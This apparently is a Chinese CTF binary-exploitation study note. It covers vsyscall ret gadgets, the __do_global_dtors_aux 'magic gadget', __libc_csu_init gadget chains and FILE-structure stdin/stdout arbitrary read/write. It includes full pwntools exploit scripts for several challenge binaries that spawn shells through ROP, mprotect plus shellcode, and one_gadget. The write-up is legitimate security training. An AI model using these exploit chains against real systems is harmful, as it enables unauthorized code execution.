payload=b'a'*0x20+p64(0)+p64(pop_rdi)+p64(0x4E8000)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx_rbx)+p64(7)+p64(0)+p64(mprotect)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x4E8000)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(read)+p64(0x4E8000)

sl(payload)
shellcode=asm(shellcraft.sh())
sl(shellcode)
shell()

vsyscall

gdb运行程序的时候会发现无论是否开启pie和aslr,内存ffffffffff600000-ffffffffff601000处一定是属于vsyscall

将这块内存dump memory ./dump ffffffffff600000 ffffffffff601000dump下来查看,可以发现

内部是三个系统调用并跟随着retn

利用

可以看到这里面存在syscall。但并不能将其当作syscall进行使用——这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此我们仅仅可以使用0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800这三个地址,而这三个地址处对应的函数,我们可以简单地将其看作一个retn指令——也就是说,我们可以通过覆盖返回地址为上面分分析到的三个地址,从而改变栈的布局。

需要特别说明的是,vsyscall在某些linux版本上可能并不存在

vsyscall的利用其实就是在程序地址随机化的情况下,通过在栈上寻找仅有部分比特位与我们需要的返回地址不同的地址信息,通过溢出部分写修改该地址,然后将vsyscall视为一个已知地址的gadget使返回地址一步步移动到所修改处

其实还是栈溢出的简单利用

把vsyscall视为一个固定地址的ret-gadget

例题

magic_number

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[44]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+2Ch] [rbp-4h]

sub_9A0(a1, a2, a3);
v5 = rand();
if ( v5 == 305419896 )
system("/bin/sh");
puts("Your Input :");
read(0, buf, 0x100uLL);
return 0LL;
}

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

因为pie的存在,且程序简单没有输出几乎难以利用

观察栈上可以发现有与我们所需要的地址只差最后8比特位的地址

只要修改它并通过vsyscall返回到该处即可getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p=process('magic_number')

elf=ELF('magic_number')
# gdb.attach(p)
# pause()
payload = b'B'*0x38+p64(0xFFFFFFFFFF600000)+p64(0xFFFFFFFFFF600000)+p64(0xFFFFFFFFFF600000)+p64(0xFFFFFFFFFF600000)+b'\xA8'
p.recvuntil(b"Your Input :\n")
p.send(payload)
p.interactive()

1000levels

非常有意思的一道题

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/1000levels'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

存在pie

程序有一个hint函数很关键,虽然我们无法使得show_int为非0,但是无论条件是否成立system的地址都会被保存到[rbp-0x110]处

1
2
3
4
5
6
7
8
9
10
int hint(void)
{
char v1[264]; // [rsp+8h] [rbp-108h] BYREF

if ( show_hint )
sprintf(v1, "Hint: %p\n", &system);
else
strcpy(v1, "NO PWN NO FUN");
return puts(v1);
}
1
2
.text:0000000000000CFB 48 8B 05 CE 12 20 00          mov     rax, cs:system_ptr
.text:0000000000000D02 48 89 85 F0 FE FF FF mov [rbp+var_110], rax

再看另一个关键的函数go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int go(void)
{
__int64 num; // [rsp+0h] [rbp-120h]
int v2; // [rsp+8h] [rbp-118h]
int v3; // [rsp+Ch] [rbp-114h]
__int64 v4; // [rsp+10h] [rbp-110h]
__int64 v5; // [rsp+10h] [rbp-110h]
__int64 v6; // [rsp+18h] [rbp-108h]
char v7[256]; // [rsp+20h] [rbp-100h] BYREF

puts("How many levels?");
num = read_num();
if ( num > 0 )
v4 = num;
else
puts("Coward");
puts("Any more?");
v5 = v4 + read_num();
if ( v5 > 0 )
{
if ( v5 <= 999 )
{
v6 = v5;
}
else
{
puts("More levels than before!");
v6 = 1000LL;
}
puts("Let's go!'");
v2 = time(0LL);
if ( level(v6) )
{
v3 = time(0LL);
sprintf(v7, "Great job! You finished %d levels in %d seconds\n", v6, (unsigned int)(v3 - v2));
puts(v7);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward");
}

因为hint和go在调用时栈的环境是相同的,因此二者的rbp-0x110也是相同的

那么也就是说在go函数中若输入v4不大于0,v4便不会被初始化而是上次保存的system地址

之后的v5 = v4 + read_num();允许我们修改system地址

不过单独的system并没有什么作用,也无法写入binsh字符串,故而我们可以利用system来找到one_gadget

最后利用vsyscall使one_gadget成为返回地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *  
context(arch="amd64",os="linux",log_level="debug")
p = process('./1000levels')
libc = ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

vsyscall = 0xffffffffff600000

system_addr = libc.sym['system']
execv_gadget = 0x4527a
offset_addr = execv_gadget - system_addr

p.sendlineafter(b'Choice:\n',b'2')

p.sendlineafter(b'Choice:\n',b'1')

p.sendlineafter(b'How many levels?\n',b'0')

p.sendafter(b'Any more?\n',str(offset_addr))

#level内部存在递归调用,当v5>999时取1000次递归
for i in range(0,999):
p.recvuntil(b'Question: ')
a = int(p.recvuntil(b' '))
p.recvuntil(b'* ')
b = int(p.recvuntil(b' '))
p.sendlineafter(b'Answer:',str(a*b))

payload = b'a'*0x38 + p64(vsyscall)*3

p.sendafter(b'Answer:',payload)

p.interactive()

总结

往往这个技术的思路是——在栈中寻找之前遗留的信息,通过溢出技术修改,并通过vsyscall将返回地址滑动到该信息处,从而完成攻击。

magic gadget

有些elf文件中会存在这么一个函数_do_global_dtors_aux()

1
2
3
4
5
6
7
8
9
10
11
__int64 _do_global_dtors_aux()
{
__int64 result; // rax

if ( !completed_7698 )
{
result = deregister_tm_clones();
completed_7698 = 1;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000004007D0                               __do_global_dtors_aux proc near         ; DATA XREF: .fini_array:__do_global_dtors_aux_fini_array_entry↓o
.text:00000000004007D0 80 3D 61 08 20 00 00 cmp cs:completed_7698, 0
.text:00000000004007D7 75 17 jnz short locret_4007F0
.text:00000000004007D7
.text:00000000004007D9 55 push rbp
.text:00000000004007DA 48 89 E5 mov rbp, rsp
.text:00000000004007DD E8 7E FF FF FF call deregister_tm_clones
.text:00000000004007DD
.text:00000000004007E2 C6 05 4F 08 20 00 01 mov cs:completed_7698, 1
.text:00000000004007E9 5D pop rbp
.text:00000000004007EA C3 retn
.text:00000000004007EA
.text:00000000004007EA ; ---------------------------------------------------------------------------
.text:00000000004007EB 0F 1F 44 00 00 align 10h
.text:00000000004007F0
.text:00000000004007F0 locret_4007F0: ; CODE XREF: __do_global_dtors_aux+7↑j
.text:00000000004007F0 F3 C3 rep retn
.text:00000000004007F0
.text:00000000004007F0 __do_global_dtors_aux endp

单看函数和汇编可能并不会觉得这能有什么用处

但是如果将汇编截断,然后在0x4007E8处开始汇编代码就将变成

1
2
3
0:  01 5d c3                add    DWORD PTR [rbp-0x3d],ebx
3: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
8: f3 c3 repz ret

可见只要我们能够控制rbp和ebx就能够做到对某部分内存进行调整

例如在无输出状态下,知道某个符号同另一符号的偏移

则可以将其调整为另一个符号

不过只能从低向高调整,因为add的是ebx寄存器,无法实现减法

例题

2023鹏城杯-silent

利用magic gadget调整stdout为syscall;ret的地址

并以此来打orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
#libc = ELF("../libc/")
libc = ELF("/home/aichch/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")

def get_p(name):
global p,elf
p = process(name)
#p = remote("172.10.0.8",9999)
elf = ELF(name)

pop_rdi = 0x0000000000400963
start = 0x400720
csu_2 = 0x00000000040095a
csu_1 = 0x000000000400940


get_p("./silent")
bss = 0x602100
magic = 0x00000000004007e8
leave_ret = 0x0000000000400876
stdout = 0x000000000601020
op = 0xffffffffffffffff & (0x00000000000d2625-libc.sym['_IO_2_1_stdout_'])
syscall = p64(csu_2) + p64(op) + p64(stdout+0x3d) + p64(1) + p64(0) + p64(0) + p64(0) + p64(magic)
payload = b"A"*0x48 + p64(csu_2) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss-8) + p64(0x200) + p64(csu_1)
payload += p64(bss-8)*3 + p64(0)*4 + p64(leave_ret)
p.send(payload)
sleep(0.2)

payload = b"flag\x00\x00\x00\x00" + syscall

payload += p64(csu_2) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss+0x300) + p64(0x200) + p64(csu_1)
payload += p64(0) + p64(0) + p64(1) + p64(stdout) + p64(bss-8) + p64(0) + p64(0) + p64(csu_1)
payload += p64(0)*2 + p64(1) + p64(elf.got['read']) + p64(3) + p64(bss+0x400) + p64(0x200) + p64(csu_1)
payload += p64(0)*2 + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss+0x300) + p64(0x200) + p64(csu_1)
payload += p64(0)*2 + p64(1) + p64(stdout) + p64(1) + p64(bss+0x400) + p64(0x40) + p64(csu_1)

p.send(payload)
sleep(0.2)

p.send("\x00"*2)
sleep(0.2)
# gdb.attach(p,"")
# sleep(2)
p.send("\x00")
p.interactive()

__libc_start_main妙用

  1. __libc_start_main共有7个参数,不过正常利用下只需要注意前三个就行,分别是main,argc,argv
  2. 函数过程中会调用read,从而在栈上留下read的libc地址,一些情况下可以利用其中的syscall
  3. 最后启动main时main的三个参数分别是argc,argv,和__environ,__environ是一个栈地址数值很大

__libc_start_main也可以启动除main以外的函数.甚至都不需要是函数只要是可执行的代码就行,不过需要另作一些布置

__libc_start_main在运行时会在栈上留下许多信息,其中包括一个read+17的地址,将其改写为read+15可以视为一个syscall;ret的gadget

一些特殊情况下,栈迁移后,在参数基本可控的时候,可以利用其重启某一段代码来做一些利用syscall

_libc_csu_init

在 64 位程序中,经常能看见用来对 libc 进行初始化操作的__libc_csu_init 函数,有时直接包含在init函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
.text:0000000000400900                               public __libc_csu_init
.text:0000000000400900 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400900 ; __unwind {
.text:0000000000400900 41 57 push r15
.text:0000000000400902 41 56 push r14
.text:0000000000400904 49 89 D7 mov r15, rdx
.text:0000000000400907 41 55 push r13
.text:0000000000400909 41 54 push r12
.text:000000000040090B 4C 8D 25 7E 04 20 00 lea r12, __frame_dummy_init_array_entry
.text:0000000000400912 55 push rbp
.text:0000000000400913 48 8D 2D 7E 04 20 00 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040091A 53 push rbx
.text:000000000040091B 41 89 FD mov r13d, edi
.text:000000000040091E 49 89 F6 mov r14, rsi
.text:0000000000400921 4C 29 E5 sub rbp, r12
.text:0000000000400924 48 83 EC 08 sub rsp, 8
.text:0000000000400928 48 C1 FD 03 sar rbp, 3
.text:000000000040092C E8 4F FD FF FF call _init_proc
.text:000000000040092C
.text:0000000000400931 48 85 ED test rbp, rbp
.text:0000000000400934 74 20 jz short loc_400956
.text:0000000000400934
.text:0000000000400936 31 DB xor ebx, ebx
.text:0000000000400938 0F 1F 84 00 00 00 00 00 nop dword ptr [rax+rax+00000000h]
.text:0000000000400938
.text:0000000000400940
.text:0000000000400940 loc_400940: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400940 4C 89 FA mov rdx, r15
.text:0000000000400943 4C 89 F6 mov rsi, r14
.text:0000000000400946 44 89 EF mov edi, r13d
.text:0000000000400949 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600D90h)[r12+rbx*8]
.text:0000000000400949
.text:000000000040094D 48 83 C3 01 add rbx, 1
.text:0000000000400951 48 39 DD cmp rbp, rbx
.text:0000000000400954 75 EA jnz short loc_400940
.text:0000000000400954
.text:0000000000400956
.text:0000000000400956 loc_400956: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400956 48 83 C4 08 add rsp, 8
.text:000000000040095A 5B pop rbx
.text:000000000040095B 5D pop rbp
.text:000000000040095C 41 5C pop r12
.text:000000000040095E 41 5D pop r13
.text:0000000000400960 41 5E pop r14
.text:0000000000400962 41 5F pop r15
.text:0000000000400964 C3 retn
.text:0000000000400964 ; } // starts at 400900
.text:0000000000400964
.text:0000000000400964 __libc_csu_init endp
.text:0000000000400964
.text:0000000000400964

利用的就是loc_400940和loc_400956这两个部分

若先跳转到0x40095A处那么可以直接控制rbx,rbp,r12,r13,r14,15六个寄存器

然后retn到0x400940处,就相当于间接控制了rdx,rsi,edi,以及rip

为了程序正常执行,一般会令rbx为0,rbp为1,

使得程序正常向下执行再次来到0x40095A处,此时可以选择退出csu,也可以构造chain_csu继续csu

偏移构造

关注

1
2
3
4
5
.text:000000000040095C 41 5C                         pop     r12
.text:000000000040095E 41 5D pop r13
.text:0000000000400960 41 5E pop r14
.text:0000000000400962 41 5F pop r15
.text:0000000000400964 C3

如果改变偏移使得返回到41h机器码之后则有

1
2
3
4
5
6
pwndbg> x /5i 0x40095d
0x40095d <__libc_csu_init+93>: pop rsp
0x40095e <__libc_csu_init+94>: pop r13
0x400960 <__libc_csu_init+96>: pop r14
0x400962 <__libc_csu_init+98>: pop r15
0x400964 <__libc_csu_init+100>: ret
1
2
3
4
5
pwndbg> x /5i 0x40095f
0x40095f <__libc_csu_init+95>: pop rbp
0x400960 <__libc_csu_init+96>: pop r14
0x400962 <__libc_csu_init+98>: pop r15
0x400964 <__libc_csu_init+100>: ret
1
2
3
4
pwndbg> x /5i 0x400961
0x400961 <__libc_csu_init+97>: pop rsi
0x400962 <__libc_csu_init+98>: pop r15
0x400964 <__libc_csu_init+100>: ret
1
2
3
pwndbg> x /5i 0x400963
0x400963 <__libc_csu_init+99>: pop rdi
0x400964 <__libc_csu_init+100>: ret

可见偏移构造之后变成不同的gadget了

标准io任意读写

stdin任意写

原理

scanf,fread,gets等读入走IO指针(read则不).

若输入缓冲区指针满足_IO_read_end ==_IO_read_ptr,即缓冲区中没有可供读取的数据时

会调用sysread读取数据至_IO_buf_base处,读取大小为__IO_buf_end-IO_buf_base

故若能够修改stdin的_IO_buf_base字段

并且满足

  1. 设置_IO_read_end等于_IO_read_ptr(使得输入缓冲区内没有剩余数据,从而可以从用户读入数据)。
  2. 设置_flag &~ _IO_NO_READS_flag &~ 0x4(一般不用特意设置)。
  3. 设置_fileno0(一般不用特意设置)。
  4. 设置_IO_buf_basewrite_start_IO_buf_endwrite_end(我们目标写的起始地址是write_start,写结束地址为write_end),且使得_IO_buf_end-_IO_buf_base大于要写入的数据长度。

利用

在大多数时候我们并无法做到任意修改_IO_buf_base(毕竟我们的目标就是获得任意写),

不过我们知道在无缓冲模式时,文件的缓冲区被设置为自身结构体内的_shortbuf

此时,如果具有单字节置零(或更自由的条件),那么可以将_IO_buf_base的最低字节置零

使得_IO_buf_base指向结构体自身(当然需要确保_IO_buf_base和_shortbu的地址除最后一个字节外都要相同)

这样在读取时便会读取到自身结构体,此时再次修改_IO_buf_base和_IO_buf_end

并利用某些io函数(如getchar,可以使_IO_read_ptr++)再次使得_IO_read_end ==_IO_read_ptr

然后再次触发系统调用读取,就可以做到任意写

注意

有些情况下,特别是无缓冲模式下,如果是由xgetsn触发的underflow,读取数大于缓冲区大小(无缓冲模式为1),会直接调用系统调用从文件流读到目标区域,而不经过缓冲区

其他模式下如果缓冲区大于128,才会有最后一部分经过缓冲区读取

例题

2023hitctf-scanf

平时比赛题录.md

stdout任意读写

原理

printf,fwrite,puts等输出走IO指针(write则不)

任意写

在行缓冲模式下,判断输出缓冲区还有多少空间,用的是count = f->_IO_buf_end - f->_IO_write_ptr,而在全缓冲模式下,用的是count = f->_IO_write_end - f->_IO_write_ptr,若是还有空间剩余,则会将要输出的数据复制到输出缓冲区中(此时由_IO_write_ptr控制,向_IO_write_ptr拷贝count长度的数据),因此可通过这一点来实现任意地址写的功能。
利用方式:以全缓冲模式为例,只需将_IO_write_ptr指向write_start_IO_write_end指向write_end即可。

任意读

先讨论_IO_new_file_xsputn源代码中if (to_do + must_flush > 0)有哪些情况会执行该分支中的内容:
(a) 首先要明确的是to_do一定是非负数,因此若must_flush1的时候就会执行该分支中的内容,而再往上看,当需要输出的内容中有\n换行符的时候就会需要刷新输出缓冲区,即将must_flush设为1,故当输出内容中有\n的时候就会执行该分支的内容,如用puts函数输出就一定会执行。
(b) 若to_do大于0,也会执行该分支中的内容,因此,当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候,也会执行该if分支中的内容。
而该if分支中主要调用了_IO_OVERFLOW()来刷新输出缓冲区,而在此过程中会调用_IO_do_write()输出我们想要的数据。
相关源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
// 判断标志位是否包含_IO_NO_WRITES => _flags需要不包含_IO_NO_WRITES
if (f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
// 判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位
// 为了不执行该if分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}
// 调用_IO_do_write 输出 输出缓冲区
// 从_IO_write_base开始,输出(_IO_write_ptr - f->_IO_write_base)个字节的数据
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
// 为了不执行else if分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
// 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do);
...
return count;
}

综上,为了做到任意读,满足如下条件,即可进行利用:

  1. 设置_flag &~ _IO_NO_WRITES,即_flag &~ 0x8
  2. 设置_flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800
  3. 设置_fileno1
  4. 设置_IO_write_base指向想要泄露的地方,_IO_write_ptr指向泄露结束的地址;
  5. 设置_IO_read_end等于_IO_write_base 或 设置_flag & _IO_IS_APPENDING即,_flag | 0x1000
  6. 此外,有一个大前提:需要调用_IO_OVERFLOW()才行,因此需使得需要输出的内容中含有\n换行符设置_IO_write_end等于_IO_write_ptr(输出缓冲区无剩余空间)等。一般来说,经常利用puts函数加上述stdout任意读的方式泄露libc_flag的构造需满足的条件:
1
2
3
4
_flags = 0xfbad0000 
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800